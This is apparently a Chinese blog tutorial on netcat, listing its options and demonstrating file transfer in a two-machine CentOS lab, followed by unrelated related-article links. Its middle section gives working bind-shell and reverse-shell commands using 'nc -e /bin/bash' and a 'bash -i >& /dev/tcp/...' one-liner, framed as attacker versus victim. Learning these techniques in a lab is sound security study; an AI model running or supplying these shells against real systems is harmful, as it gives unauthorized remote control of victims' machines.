一、使用手册

1.简介:nc/NetCat是一款端口监听工具,可以用来建立系统之间的连接、传输文件、TCP代理等。

2.命令参数

 

 

nc [-options] hostname port[s] [ports] …

监听端口等待连接:nc -l -p port [-options] [hostname] [port]

主要参数[options]:

-d              无命令行界面,使用后台模式

-e prog          程序重定向 [危险!!]

-g gateway       源路由跳跃点, 不超过8

-G num          源路由指示器: 4, 8, 12, ...

-h              获取帮助信息

-i secs           延时设置,端口扫描时使用

-l               监听入站信息

-L              监听知道NetCat被结束(可断开重连)

-n              以数字形式表示的IP地址

-o file           使进制记录

-p port          打开本地端口

-r               随机本地和远程的端口

-s addr          本地源地址

-t               以TELNET的形式应答入站请求

-u              UDP 模式

-v               显示详细信息 [使用=vv获取更详细的信息]

-w secs          连接超时设置

-z               I/O 模式 [扫描时使用]

端口号可以是单个的或者存在一个范围: m-n [包含值]。

3.简单使用:

测试环境:

操作系统:centos 7.7

nc版本:7.50

系统A:192.168.226.128

系统B:192.168.226.129

(1)文件传输

系统A命令:nc -l -p 8978 > ./tmp.txt

系统B命令:nc -v 192.168.226.128 8978 < ./test.txt

A系统

B系统

(2)正向远程连接

主要使用nc危险参数-e将受害者系统A的/bin/bash重定向到本地某端口8978,然后攻击者系统B连接远程端口8978

系统A命令:nc -t -e /bin/bash -l -p 8978

系统B命令:nc -v 192.168.226.128 8978

A系统

B系统

(3)反向连接

攻击者系统B监听本地端口8978,然后在受害者系统中使用nc危险参数-e将受害者系统A的/bin/bash重定向连接到远程端口8978。

系统B命令:nc -lvp 8978

系统A命令: nc -t -e /bin/bash 192.168.226.129 8978

A系统

B系统

补充:

使用bash -i >& /dev/tcp/192.168.226.129/8978 0>&1也可以进行反弹shell连接

系统A命令:bash -i >& /dev/tcp/192.168.226.129/8978 0>&1

系统B命令:nc -lvp 8978

B系统

A系统

--broker参数可用于数据转发代理使用(参考https://www.jianshu.com/p/a2c89231e0c9)

参考链接

https://blog.csdn.net/bcbobo21cn/article/details/52095914

https://www.cnblogs.com/kankanhua/p/5843608.html

https://blog.csdn.net/phone15062117684/article/details/79039735

NCcat学习使用的更多相关文章

  1. 从直播编程到直播教育:LiveEdu.tv开启多元化的在线学习直播时代

    2015年9月,一个叫Livecoding.tv的网站在互联网上引起了编程界的注意.缘于Pingwest品玩的一位编辑在上网时无意中发现了这个网站,并写了一篇文章<一个比直播睡觉更奇怪的网站:直 ...

  2. Angular2学习笔记(1)

    Angular2学习笔记(1) 1. 写在前面 之前基于Electron写过一个Markdown编辑器.就其功能而言,主要功能已经实现,一些小的不影响使用的功能由于时间关系还没有完成:但就代码而言,之 ...

  3. ABP入门系列(1)——学习Abp框架之实操演练

    作为.Net工地搬砖长工一名,一直致力于挖坑(Bug)填坑(Debug),但技术却不见长进.也曾热情于新技术的学习,憧憬过成为技术大拿.从前端到后端,从bootstrap到javascript,从py ...

  4. 消息队列——RabbitMQ学习笔记

    消息队列--RabbitMQ学习笔记 1. 写在前面 昨天简单学习了一个消息队列项目--RabbitMQ,今天趁热打铁,将学到的东西记录下来. 学习的资料主要是官网给出的6个基本的消息发送/接收模型, ...

  5. js学习笔记:webpack基础入门(一)

    之前听说过webpack,今天想正式的接触一下,先跟着webpack的官方用户指南走: 在这里有: 如何安装webpack 如何使用webpack 如何使用loader 如何使用webpack的开发者 ...

  6. Unity3d学习 制作地形

    这周学习了如何在unity中制作地形,就是在一个Terrain的对象上盖几座小山,在山底种几棵树,那就讲一下如何完成上述内容. 1.在新键得项目的游戏的Hierarchy目录中新键一个Terrain对 ...

  7. 《Django By Example》第四章 中文 翻译 (个人学习,渣翻)

    书籍出处:https://www.packtpub.com/web-development/django-example 原作者:Antonio Melé (译者注:祝大家新年快乐,这次带来<D ...

  8. 菜鸟Python学习笔记第一天:关于一些函数库的使用

    2017年1月3日 星期二 大一学习一门新的计算机语言真的很难,有时候连函数拼写出错查错都能查半天,没办法,谁让我英语太渣. 关于计算机语言的学习我想还是从C语言学习开始为好,Python有很多语言的 ...

  9. 多线程爬坑之路-学习多线程需要来了解哪些东西?(concurrent并发包的数据结构和线程池,Locks锁,Atomic原子类)

    前言:刚学习了一段机器学习,最近需要重构一个java项目,又赶过来看java.大多是线程代码,没办法,那时候总觉得多线程是个很难的部分很少用到,所以一直没下决定去啃,那些年留下的坑,总是得自己跳进去填 ...

随机推荐

  1. C++学习四 冒泡排序法的一些改进

    冒泡排序法需要两次扫描,所以从时间复杂度来说,是O(n2). 如果用图形表示,是这样的: 但是我们可以加以改进. 首先是,如果在排序中间,整个向量已经达到了有序状态,可以直接跳出来. 这样它的复杂度由 ...

  2. 巡风扫描器web界面工作流程

    这两周学习了巡风扫描器的搭建,也在学长的带领下看了各部分的下源代码,为了加深记忆,梳理一下巡风大体的工作流程,主要通过web端的页面分析,错误的地方还请大佬们多多指正. 整体看一下巡风的扫描流程:登陆 ...

  3. luoguP4151 [WC2011]最大XOR和路径

    题意 这题有点神啊. 首先考虑注意这句话: 路径可以重复经过某些点或边,当一条边在路径中出现了多次时,其权值在计算 XOR 和时也要被计算相应多的次数 也就是说如果出现下面的情况: 我们可以通过异或上 ...

  4. webapi使用ExceptionFilterAttribute过滤器

    文章 public class ApiExceptionFilterAttribute:ExceptionFilterAttribute { public override void OnExcept ...

  5. Kubernetes集群的安全机制

    集群的安全性需要考虑以下几个目标: 1.保证容器与其所在宿主机的隔离 2.限制容器给基础设施及其他容器带来的消极影响的能力 3.最小权限原则——合理限制所有组件的权限,确保组件只执行它被授权的行为 4 ...

  6. 剑指offer:二叉树打印成多行(层次遍历)

    1. 题目描述 从上到下按层打印二叉树,同一层结点从左至右输出.每一层输出一行. 2. 思路 层次遍历 3. 递归 public class Solution { ArrayList<Array ...

  7. Spring Boot(十二):LocalDateTime格式化处理

    Java 8之后,日期类的处理建议使用java.time包中对应的LocalDateTime, LocalDate, LocalTime类.(参考Java8新特性) 在Spring Boot中(验证版 ...

  8. MySQL 合并字段及列转行

    数据表: 列转行:利用max(case when then) max---聚合函数 取最大值 (case course when '语文' then score else 0 end) ---判断   ...

  9. tensorflow之tf.squeeze()

    tf.squeeze()函数的作用是从tensor中删除所有大小(szie)是1的维度. 给定丈量输入, 此操作返回的是相同类型的张量, 并删除所有尺寸为1的维度.如果不想删除所有尺寸为1的维度, 可 ...

  10. Vue.js 源码分析(二十九) 高级应用 transition-group组件 详解

    对于过度动画如果要同时渲染整个列表时,可以使用transition-group组件. transition-group组件的props和transition组件类似,不同点是transition-gr ...